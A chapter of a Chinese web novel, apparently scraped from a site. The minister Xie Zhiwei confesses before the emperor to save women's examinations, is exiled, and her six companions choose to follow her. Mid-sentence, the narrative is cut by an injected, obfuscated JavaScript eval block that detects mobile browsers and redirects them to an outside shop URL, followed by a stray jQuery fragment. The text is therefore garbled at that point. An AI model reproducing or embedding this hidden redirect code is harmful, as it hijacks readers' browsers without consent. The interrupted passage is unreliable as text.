承安十一年,六月初一。
朝会。
今天的乾元殿,气氛比往常更加凝重。
文武百官分列两侧,没有人说话,没有人交头接耳。所有人都低着头,盯着自己的脚尖。
因为他们知道,今天要发生大事。
三天前,苏锦从刑部大牢被劫走。皇帝震怒,下令全城戒严,搜捕七绝。
可七绝像是人间蒸发了一样,怎么都找不到。
皇帝坐在龙椅上,脸色阴沉得能滴出水来。
“人呢?”他问,“三天了,你们告诉朕,人找不着?”
刘公公跪在地上,头都不敢抬。
“陛下,她们……她们藏得太深……”
皇帝抓起案上的茶杯,狠狠摔在地上。
“废物!都是废物!”
茶杯碎片溅了一地。
没有人敢说话。
就在这时候,殿外传来一阵喧哗。
“站住!你不能进去!”
“来人!拦住她!”
皇帝抬起头,看向殿门。
门被推开。
谢知微站在门口。
她穿着一身朝服,头发梳得一丝不苟,脸上没有任何表情。
身后,是十几个惊慌失措的侍卫。
皇帝看着她,愣住了。
然后他笑了。
笑得很冷。
“谢爱卿,”他说,“你还敢来?”
谢知微走进大殿,一步一步往前走。
走到大殿中央,停下。
她抬起头,看着皇帝。
“陛下,”她说,“臣来了。”
皇帝站起来,慢慢走下御阶。
走到她面前。
“你知不知道,朕下了海捕文书,抓到你就地正法?”
谢知微说:“知道。”
皇帝说:“那你还来?”
谢知微说:“来送陛下一份大礼。”
皇帝愣了一下。
谢知微从袖子里拿出一份奏折,双手呈上。
刘公公接过来,递给皇帝。
皇帝打开,看了一眼。
他的脸色变了。
那是一份自供状。
谢知微在上面写得清清楚楚——她如何勾结江湖女子,如何把持朝政,如何结党营私,如何“祸乱天下”。
每一条,都是死罪。
皇帝看着那份自供状,手都在抖。
“你……你这是什么意思?”
谢知微说:“臣的意思是,臣认罪。”
朝堂上一片哗然。
那些曾经弹劾她的人,面面相觑,不知道她葫芦里卖的什么药。
皇帝盯着她,看了很久。
“谢知微,”他说,“你以为认罪,就能救你那些同党?”
谢知微摇摇头。
“陛下,臣认罪,不是为了救她们。”
皇帝问:“那为什么?”
谢知微说:“为了换一样东西。”
皇帝问:“什么东西?”
谢知微说:“女子科举。”
朝堂上安静了一瞬。
然后有人笑了。
是周延,那个曾经弹劾她的御史。
“谢知微,”他说,“你一个将死之人,还想谈条件?”
谢知微没有理他。
她只是看着皇帝。
“陛下,”她说,“臣认罪。臣是奸臣。臣勾结江湖女子,臣把持朝政,臣结党营私。这些,臣都认。”
她顿了顿。
“可女子科举,不是奸政。”
皇帝看着她。
谢知微说:“那些女学子,她们只是想读书。只是想考试。只是想有一条路走。她们没有错。”
皇帝说:“她们有没有错,不是你说了算。”
谢知微说:“那陛下说了算?”
皇帝不说话。
谢知微从袖子里又拿出一样东西。
是一方帕子。
很普通的帕子,白色的,上面绣着一朵梅花。
她把帕子展开,给皇帝看。
皇帝看了一眼,脸色变了。
那帕子上,绣着密密麻麻的小字。
是密语。
是他和北狄勾结的证据。
“陛下,”谢知微说,“这方帕子,是女学子绣的。这样的帕子,还有很多。每一方帕子上,都绣着不同的内容。”
她的声音很平静。
平静得像在说别人的事。
“如果臣今天死在这里,这些帕子,就会出现在天下人的面前。”
皇帝的手握紧。
“你威胁朕?”
谢知微说:“臣不敢。臣只是想让陛下知道,女子科举,不是奸政。它是这些姑娘的命。”
她往前走了一步。
“陛下可以杀臣。可以杀沈醉,杀谢霜寒,杀白芷,杀苏锦,杀云娘,杀花解语。可以把我们七个人,全都杀了。”
她的眼睛直直地盯着皇帝。
“可那些帕子,杀不完。那些女学子,杀不完。那条路,杀不完。”
皇帝盯着她。
盯了很久。
然后他笑了。
笑得很冷。
“谢知微,”他说,“你知道朕最恨你什么吗?”
谢知微不说话。
皇帝说:“朕最恨的,就是你明明是个女人,却比那些男人都难对付。”
他转过身,走回龙椅。
坐下。
看着满朝文武。
“你们都听见了?”他说,“谢知微认罪了。她承认自己勾结江湖女子,把持朝政,结党营私。你们说,该怎么处置?”
周延站出来。
“陛下,谢知微罪大恶极,理当诛九族!”
其他人纷纷附和。
“对!诛九族!”
“凌迟处死!”
皇帝听着那些喊声,忽然笑了。
他举起手,示意他们安静。
然后他看着谢知微。
“谢爱卿,”他说,“你刚才说,要用自己,换女子科举?”
谢知微说:“是。”
皇帝说:“好。朕答应你。”
朝堂上又安静了。
那些喊打喊杀的人,都愣住了。
皇帝说:“女子科举,朕可以保留。可你,谢知微,从今天起,不再是宰相。你的九族,朕可以不诛。可你那些同党,朕一个都不会放过。”
谢知微看着他。
“陛下,臣有一个条件。”
皇帝说:“说。”
谢知微说:“那些女学子,是无辜的。她们只是读书考试,什么都没做错。陛下要杀,杀臣。杀她们,臣不服。”
皇帝沉默了一会儿。
然后他说:“朕可以不杀她们。可她们必须离开京城,永不入朝。”
谢知微点点头。
“好。”
皇帝看着她。
“谢知微,你还有什么话要说?”
谢知微想了想。
然后她笑了。
“陛下,臣只有一句话。”
她看着满朝文武,一字一字说:
“我谢知微是奸臣。但女子科举,不是奸政。”
她转过身,往外走。
走到门口,忽然停下来。
回头,看着那张龙椅。
看着那个坐在龙椅上的人。
“陛下,”她说,“您龙椅底下那本书,我娘的血,会一直看着您。”
她走了。
朝堂上,死一般的寂静。
皇帝坐在龙椅上,脸色铁青。
他的手,紧紧握着龙椅的扶手。
握得指节发白。
---
那天晚上,谢知微回到风月楼废墟。
那六个人都在。
沈醉坐在一块石头上,拎着酒坛。
谢霜寒站在一旁,按着剑柄。
苏锦靠着一根烧焦的柱子,脸色还很苍白。
云娘被阿桑扶着,站在废墟中间。
花解语抱着琴,坐在一块石板上。
她们都看着她。
谢知微走过去,在她们中间坐下。
沈醉递给她一碗酒。
她接过来,喝了。
“谈成了。”她说。
沈醉问:“怎么成的?”
谢知微把朝堂上的事说了一遍。
说到那些帕子的时候,花解语笑了。
“那些帕子,是云娘绣的吧?”
云娘点点头。
“三十二方帕子。每一方上,都绣着皇帝通敌的证据。分藏在三十二个女学子手里。”
苏锦说:“她们知道帕子里是什么吗?”
云
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334431|199218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
娘说:“不知道。她们只知道,这是保命符。”
谢霜寒说:“皇帝会放过她们?”
谢知微摇摇头。
“不会。可他不敢动。因为他不知道,那些帕子藏在谁手里。”
沈醉笑了。
“谢相,你这棋,下得真大。”
谢知微看着她。
“不下大,怎么赢?”
沈醉举起酒坛。
“来,敬谢相。”
七碗酒碰在一起。
废墟上,月光下。
七个人,喝着酒,笑着。
笑着笑着,苏锦忽然问:“谢相,你把自己赔进去了,值吗?”
谢知微想了想。
“值。”她说,“女子科举保住了。那些姑娘的路,还在。”
苏锦说:“可你没了。”
谢知微笑了。
“我没了,可你们还在。你们在,那条路就在。”
她看着她们。
一个一个看过去。
沈醉。谢霜寒。苏锦。云娘。花解语。
还有那个已经不在了的。
白芷。
“咱们七条命,一条船。船不靠岸,继续往前划。”
沈醉说:“可你这条命,没了。”
谢知微说:“没了就没了。我活了三十多年,够了。”
她站起来,走到废墟中央。
那里,有一块石板。
石板上,刻着八个字。
女子不死,世道不灭。
她蹲下来,摸着那八个字。
摸了很久。
然后她站起来,转过身,看着她们。
“诸位,”她说,“咱们的棋,还没下完。”
沈醉问:“还要下什么?”
谢知微说:“下最后一步。”
她看着皇城的方向。
“等着吧。很快,就会有人来找咱们。”
---
三天后。
皇帝的密使来了。
他带来一道圣旨。
“奉天承运,皇帝诏曰:谢知微勾结乱党,图谋不轨,罪大恶极。念其曾有功于朝,特免死罪,流放三千里,永世不得回京。其余同党,格杀勿论。”
谢知微听完,笑了。
“格杀勿论?”她说,“好一个格杀勿论。”
她站起来,看着那个密使。
“回去告诉皇帝,就说我谢知微,多谢他不杀之恩。”
密使走了。
沈醉走过来。
“谢相,你真的要去流放?”
谢知微点点头。
沈醉说:“那我们呢?”
谢知微说:“你们走。走得越远越好。”
沈醉摇头。
“我不走。”
谢霜寒说:“我也不走。”
苏锦说:“我也不走。”
云娘说:“我也不走。”
花解语说:“我也不走。”
谢知微看着她们。
眼眶红了。
“你们……你们这是干什么?”
沈醉笑了。
“谢相,”她说,“你说过,咱们七条命,一条船。船不靠岸,你一个人下船,我们怎么办?”
谢知微说不出话。
沈醉走过去,搂着她的肩。
“要死一起死。要走一起走。你别想甩掉我们。”
谢霜寒走过来。
“我欠白芷一条命。她让我活着,不是让我看着你们死。”
苏锦走过来。
“我那账本没了,可我人还在。你们去哪儿,我去哪儿。”
云娘走过来。
“我看不见,可我能听见。你们的声音,我听得见。”
花解语走过来。
“我的琴,还等着你们听呢。”
七个人,站在废墟上。
站在那八个字旁边。
女子不死,世道不灭。
谢知微看着她们,眼泪终于掉下来。
“好。”她说,“好。”
她擦干眼泪,笑了。
“那咱们就一起走。”
她们走了。
走出废墟,走出京城,走进夜色里。
身后,是那八个字。
是那些梅花。
是那条路。
是那个换了活法的世道。